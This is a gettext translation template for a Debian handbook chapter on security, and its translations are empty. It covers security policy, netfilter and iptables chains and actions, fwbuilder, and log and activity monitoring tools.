14_security.po

#
# AUTHOR <EMAIL@ADDRESS>, YEAR.
#
msgid ""
msgstr ""
"Project-Id-Version: 0\n"
"POT-Creation-Date: 2013-12-30 17:37+0100\n"
"PO-Revision-Date: 2012-11-22 21:18+0100\n"
"Last-Translator: Mateusz Kacprzak <mateusz.kacprzak@yandex.ru>\n"
"Language-Team: \n"
"Language: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.5.4\n"

#. Tag: keyword
#, no-c-format
msgid "Firewall"
msgstr ""

#. Tag: keyword
#, no-c-format
msgid "Netfilter"
msgstr ""

#. Tag: keyword
#, no-c-format
msgid "IDS/NIDS"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Security"
msgstr ""

#. Tag: para
#, no-c-format
msgid "An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Defining a Security Policy"
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>CAUTION</emphasis> Scope of this chapter"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject. An excellent starting point would be <citetitle>Linux Server Security</citetitle> by Michael D. Bauer (published by O'Reilly)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data."
msgstr ""

#. Tag: para
#, no-c-format
msgid "What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>NOTE</emphasis> Permanent questioning"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Once the risk has been modeled, one can start thinking about designing an actual security policy."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>NOTE</emphasis> Extreme policies"
msgstr ""

#. Tag: para
#, no-c-format
msgid "There are cases where the choice of actions required to secure a system is extremely simple."
msgstr ""

#. Tag: para
#, no-c-format
msgid "For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach."
msgstr ""

#. Tag: para
#, no-c-format
msgid "At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Extreme though these examples may seem, they would nevertheless be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgstr ""

#. Tag: para
#, no-c-format
msgid "In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Firewall or Packet Filtering"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>firewall</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>packet filter</primary>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>BACK TO BASICS</emphasis> Firewall"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>packet</primary><secondary>IP</secondary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions."
msgstr ""

#. Tag: para
#, no-c-format
msgid "A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The lack of a standard configuration (and the “process, not product” motto) explains the lack of a turn-key solution. There are, however, tools that make it simpler to configure the <emphasis>netfilter</emphasis> firewall, with a graphical representation of the filtering rules. <command>fwbuilder</command> is undoubtedly among the best of them."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><emphasis>netfilter</emphasis></primary>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>SPECIFIC CASE</emphasis> Local Firewall"
msgstr ""

#. Tag: para
#, no-c-format
msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services, or possibly to prevent outgoing connections by rogue software that a user could, willingly or not, have installed."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall. It can be controlled from user-space with the <command>iptables</command> and <command>ip6tables</command> commands. The difference between these two commands is that the former acts on the IPv4 network, whereas the latter acts on IPv6. Since both network protocol stacks will probably be around for many years, both tools will need to be used in parallel."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>iptables</command></primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>ip6tables</command></primary>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Netfilter Behavior"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<emphasis>netfilter</emphasis> uses four distinct tables which store rules regulating three kinds of operations on packets:"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>filter</literal> concerns filtering rules (accepting, refusing or ignoring a packet);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>nat</literal> concerns translation of source or destination addresses and ports of packages; note that this table only exists for IPv4;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>mangle</literal> concerns other changes to the IP packets (including the ToS — <emphasis>Type of Service</emphasis> — field and options);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>raw</literal> allows other manual modifications on packets before they reach the connection tracking system."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Each table contains lists of rules called <emphasis>chains</emphasis>. The firewall uses standard chains to handle packets based on predefined circumstances. The administrator can create other chains, which will only be used when referred to by one of the standard chains (either directly or indirectly)."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>chain</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>filtering rule</primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>filter</literal> table has three standard chains:"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>INPUT</literal>: concerns packets whose destination is the firewall itself;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>OUTPUT</literal>: concerns packets emitted by the firewall;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>FORWARD</literal>: concerns packets transiting through the firewall (which is neither their source nor their destination)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>nat</literal> table also has three standard chains:"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>PREROUTING</literal>: to modify packets as soon as they arrive;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>POSTROUTING</literal>: to modify packets when they are ready to go on their way;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>OUTPUT</literal>: to modify packets generated by the firewall itself."
msgstr ""

#. Tag: title
#, no-c-format
msgid "How <emphasis>netfilter</emphasis> chains are called"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Each chain is a list of rules; each rule is a set of conditions and an action to execute when the conditions are met. When processing a packet, the firewall scans the appropriate chain, one rule after another; when the conditions for one rule are met, it “jumps” (hence the <literal>-j</literal> option in the commands) to the specified action to continue processing. The most common behaviors are standardized, and dedicated actions exist for them. Taking one of these standard actions interrupts the processing of the chain, since the packet's fate is already sealed (barring an exception mentioned below):"
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>BACK TO BASICS</emphasis> ICMP"
msgstr ""

#. Tag: para
#, no-c-format
msgid "ICMP (<emphasis>Internet Control Message </emphasis>Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the <command>ping</command> command (which sends an ICMP <emphasis>echo request</emphasis> message, which the recipient is meant to answer with an ICMP <emphasis>echo reply</emphasis> message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC777 and RFC792 were soon completed and extended. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc777.html\" /><ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc792.html\" />"
msgstr ""

#. Tag: para
#, no-c-format
msgid "For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time)."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>ICMP</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>Internet Control Message Protocol</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>receive buffer</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>buffer</primary><secondary>receive buffer</secondary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>ping</command></primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (<emphasis>Internet Group Membership Protocol</emphasis>) and ARP (<emphasis>Address Resolution Protocol</emphasis>). ICMPv6 is defined in RFC4443. <ulink type=\"block\" url=\"http://www.faqs.org/rfcs/rfc4443.html\" />"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>ACCEPT</literal>: allow the packet to go on its way;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>REJECT</literal>: reject the packet with an ICMP error packet (the <literal>--reject-with <replaceable>type</replaceable></literal> option to <command>iptables</command> allows selecting the type of error);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>DROP</literal>: delete (ignore) the packet;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>LOG</literal>: log (via <command>syslogd</command>) a message with a description of the packet; note that this action does not interrupt processing, and the execution of the chain continues at the next rule, which is why logging refused packets requires both a LOG and a REJECT/DROP rule;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>ULOG</literal>: log a message via <command>ulogd</command>, which can be better adapted and more efficient than <command>syslogd</command> for handling large numbers of messages; note that this action, like LOG, also returns processing to the next rule in the calling chain;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<replaceable>chain_name</replaceable>: jump to the given chain and evaluate its rules;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>RETURN</literal>: interrupt processing of the current chain, and return to the calling chain; in case the current chain is a standard one, there's no calling chain, so the default action (defined with the <literal>-P</literal> option to <command>iptables</command>) is executed instead;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>SNAT</literal> (only in the <literal>nat</literal> table, therefore only in IPv4 on <emphasis role=\"distribution\">Wheezy</emphasis> — NAT support for IPv6 appeared in the Linux 3.7 kernel): apply <emphasis>Source NAT</emphasis> (extra options describe the exact changes to apply);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>DNAT</literal> (only in the <literal>nat</literal> table, therefore only in IPv4 on <emphasis role=\"distribution\">Wheezy</emphasis>): apply <emphasis>Destination NAT</emphasis> (extra options describe the exact changes to apply);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>MASQUERADE</literal> (only in the <literal>nat</literal> table, therefore only in IPv4 on <emphasis role=\"distribution\">Wheezy</emphasis>): apply <emphasis>masquerading</emphasis> (a special case of <emphasis>Source NAT</emphasis>);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>REDIRECT</literal> (only in the <literal>nat</literal> table, therefore only in IPv4 on <emphasis role=\"distribution\">Wheezy</emphasis>): redirect a packet to a given port of the firewall itself; this can be used to set up a transparent web proxy that works with no configuration on the client side, since the client thinks it connects to the recipient whereas the communications actually go through the proxy."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Other actions, particularly those concerning the <literal>mangle</literal> table, are outside the scope of this text. The <citerefentry><refentrytitle>iptables</refentrytitle> <manvolnum>8</manvolnum></citerefentry> and <citerefentry><refentrytitle>ip6tables</refentrytitle> <manvolnum>8</manvolnum></citerefentry> have a comprehensive list."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Syntax of <command>iptables</command> and <command>ip6tables</command>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <command>iptables</command> and <command>ip6tables</command> commands allow manipulating tables, chains and rules. Their <literal>-t <replaceable>table</replaceable></literal> option indicates which table to operate on (by default, <literal>filter</literal>)."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Commands"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>-N <replaceable>chain</replaceable></literal> option creates a new chain. The <literal>-X <replaceable>chain</replaceable></literal> deletes an empty and unused chain. The <literal>-A <replaceable>chain</replaceable> <replaceable>rule</replaceable></literal> adds a rule at the end of the given chain. The <literal>-I <replaceable>chain</replaceable> <replaceable>rule_num</replaceable> <replaceable>rule</replaceable></literal> option inserts a rule before the rule number <replaceable>rule_num</replaceable>. The <literal>-D <replaceable>chain</replaceable> <replaceable>rule_num</replaceable></literal> (or <literal>-D <replaceable>chain</replaceable> <replaceable>rule</replaceable></literal>) option deletes a rule in a chain; the first syntax identifies the rule to be deleted by its number, while the latter identifies it by its contents. The <literal>-F <replaceable>chain</replaceable></literal> option flushes a chain (deletes all its rules); if no chain is mentioned, all the rules in the table are deleted. The <literal>-L <replaceable>chain</replaceable></literal> option lists the rules in the chain. Finally, the <literal>-P <replaceable>chain</replaceable> <replaceable>action</replaceable></literal> option defines the default action, or “policy”, for a given chain; note that only standard chains can have such a policy."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Rules"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Each rule is expressed as <literal><replaceable>conditions</replaceable> -j <replaceable>action</replaceable> <replaceable>action_options</replaceable></literal>. If several conditions are described in the same rule, then the criterion is the conjunction (logical <emphasis>and</emphasis>) of the conditions, which is at least as restrictive as each individual condition."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>-p <replaceable>protocol</replaceable></literal> condition matches the protocol field of the IP packet. The most common values are <literal>tcp</literal>, <literal>udp</literal>, <literal>icmp</literal>, and <literal>icmpv6</literal>. Prefixing the condition with an exclamation mark negates the condition, which then becomes a match for “any packets with a different protocol than the specified one”. This negation mechanism is not specific to the <literal>-p</literal> option and it can be applied to all other conditions too."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>-s <replaceable>address</replaceable></literal> or <literal>-s <replaceable>network/mask</replaceable></literal> condition matches the source address of the packet. Correspondingly, <literal>-d <replaceable>address</replaceable></literal> or <literal>-d <replaceable>network/mask</replaceable></literal> matches the destination address."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>-i <replaceable>interface</replaceable></literal> condition selects packets coming from the given network interface. <literal>-o <replaceable>interface</replaceable></literal> selects packets going out on a specific interface."
msgstr ""

#. Tag: para
#, no-c-format
msgid "There are more specific conditions, depending on the generic conditions described above. For instance, the <literal>-p tcp</literal> condition can be complemented with conditions on the TCP ports, with clauses such as <literal>--source-port <replaceable>port</replaceable></literal> and <literal>--destination-port <replaceable>port</replaceable></literal>."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>--state <replaceable>state</replaceable></literal> condition matches the state of a packet in a connection (this requires the <command>ipt_conntrack</command> kernel module, for connection tracking). The <literal>NEW</literal> state describes a packet starting a new connection; <literal>ESTABLISHED</literal> matches packets belonging to an already existing connection, and <literal>RELATED</literal> matches packets initiating a new connection related to an existing one (which is useful for the <literal>ftp-data</literal> connections in the “active” mode of the FTP protocol)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The previous section lists available actions, but not their respective options. The <literal>LOG</literal> action, for instance, has the following options:"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>--log-priority</literal>, with default value <literal>warning</literal>, indicates the <command>syslog</command> message priority;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>--log-prefix</literal> allows specifying a text prefix to differentiate between logged messages;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>--log-tcp-sequence</literal>, <literal>--log-tcp-options</literal> and <literal>--log-ip-options</literal> indicate extra data to be integrated into the message: respectively, the TCP sequence number, TCP options, and IP options."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>DNAT</literal> action provides the <literal>--to-destination <replaceable>address</replaceable>:<replaceable>port</replaceable></literal> option to indicate the new destination IP address and/or port. Similarly, <literal>SNAT</literal> provides <literal>--to-source <replaceable>address</replaceable>:<replaceable>port</replaceable></literal> to indicate the new source IP address and/or port."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>REDIRECT</literal> action (only available if NAT is available — on <emphasis role=\"distribution\">Wheezy</emphasis>, this means IPv4 only) provides the <literal>--to-ports <replaceable>port(s)</replaceable></literal> option to indicate the port, or port range, where the packets should be redirected."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Creating Rules"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Each rule creation requires one invocation of <command>iptables</command>/<command>ip6tables</command>. Typing these commands manually can be tedious, so the calls are usually stored in a script so that the same configuration is set up automatically every time the machine boots. This script can be written by hand, but it can also be interesting to prepare it with a high-level tool such as <command>fwbuilder</command>."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The principle is simple. In the first step, one needs to describe all the elements that will be involved in the actual rules:"
msgstr ""

#. Tag: para
#, no-c-format
msgid "the firewall itself, with its network interfaces;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "the networks, with their corresponding IP ranges;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "the servers;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "the ports belonging to the services hosted on the servers."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The rules are then created with simple drag-and-drop actions on the objects. A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured."
msgstr ""

#. Tag: para
#, no-c-format
msgid "As far as IPv6 is concerned, one can either create two distinct rulesets for IPv4 and IPv6, or create only one and let <command>fwbuilder</command> translate the rules according to the addresses assigned to the objects."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Fwbuilder's main window"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>fwbuilder</command></primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>fwbuilder</command> can then generate a script configuring the firewall according to the rules that have been defined. Its modular architecture gives it the ability to generate scripts targeting different systems (<command>iptables</command> for Linux, <command>ipf</command> for FreeBSD and <command>pf</command> for OpenBSD)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Versions of the <emphasis role=\"pkg\">fwbuilder</emphasis> package since <emphasis role=\"distribution\">Squeeze</emphasis> contain both the graphical interface and the modules for each firewall system (these were previously split over several packages, one for each target system):"
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aptitude install fwbuilder</userinput>\n"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Installing the Rules at Each Boot"
msgstr ""

#. Tag: para
#, no-c-format
msgid "If the firewall is meant to protect an intermittent PPP network connection, the simplest way to deploy the script is to install it as <filename>/etc/ppp/ip-up.d/0iptables</filename> (note that only files without a dot in their name are taken into account). The firewall will thus be reloaded every time a PPP connection is established."
msgstr ""

#. Tag: para
#, no-c-format
msgid "In other cases, the recommended way is to register the configuration script in an <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<filename>interfaces</filename> file calling firewall script"
msgstr ""

#. Tag: programlisting
#, no-c-format
msgid ""
"auto eth0\n"
"iface eth0 inet static\n"
"    address 192.168.0.1\n"
"    network 192.168.0.0\n"
"    netmask 255.255.255.0\n"
"    broadcast 192.168.0.255\n"
"    up /usr/local/etc/arrakis.fw\n"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Supervision: Prevention, Detection, Deterrence"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>monitoring</primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes the section dedicated to generic system monitoring in <xref linkend=\"advanced-administration\" />."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Monitoring Logs with <command>logcheck</command>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>logcheck</command></primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>logs</primary><secondary>monitoring</secondary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>monitoring</primary><secondary>log files</secondary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/syslog.conf</filename> file has not been completely overhauled."
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The applied rules can be split into several types:"
msgstr ""

#. Tag: para
#, no-c-format
msgid "those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);"
msgstr ""

#. Tag: para
#, no-c-format
msgid "finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>)."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>CAUTION</emphasis> Ignoring a message"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file."
msgstr ""

#. Tag: para
#, no-c-format
msgid "A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>TIP</emphasis> Your logs as screen background"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Some administrators like seeing their log messages scroll by in real time; the <command>root-tail</command> command (in the <emphasis role=\"pkg\">root-tail</emphasis>) package can be used to integrate the logs into the background of their graphical desktop. The <command>xconsole</command> program (in the <emphasis>x11-apps</emphasis> package) can also have them scrolling in a small window. Messages are directly taken from <command>syslogd</command> via the <filename>/dev/xconsole</filename> named pipe."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>root-tail</command></primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>logs</primary><secondary>display</secondary>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Monitoring Activity"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>monitoring</primary><secondary>activity</secondary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>activity, monitoring</primary>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "In Real Time"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>top</command></primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it's probably an instance of software installed and executed on the system through a vulnerability in a web application."
msgstr ""

#. Tag: para
#, no-c-format
msgid "<command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <command>gnome-system-monitor</command> and <command>qps</command> graphical tools are similar to <command>top</command> and they provide roughly the same features."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><command>gnome-system-monitor</command></primary>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "History"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>activity, history</primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>SNMP</primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>Simple Network Management Protocol</primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches."
msgstr ""

#. Tag: para
#, no-c-format
msgid "This book deals with Munin in some detail (see <xref linkend=\"sect.munin\" />) as part of <xref linkend=\"advanced-administration\" xrefstyle=\"select: label quotedtitle\" />. Debian also provides a similar tool, <emphasis role=\"pkg\">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/index.html</filename>) should be considered a prerequisite."
msgstr ""

#. Tag: title
#, no-c-format
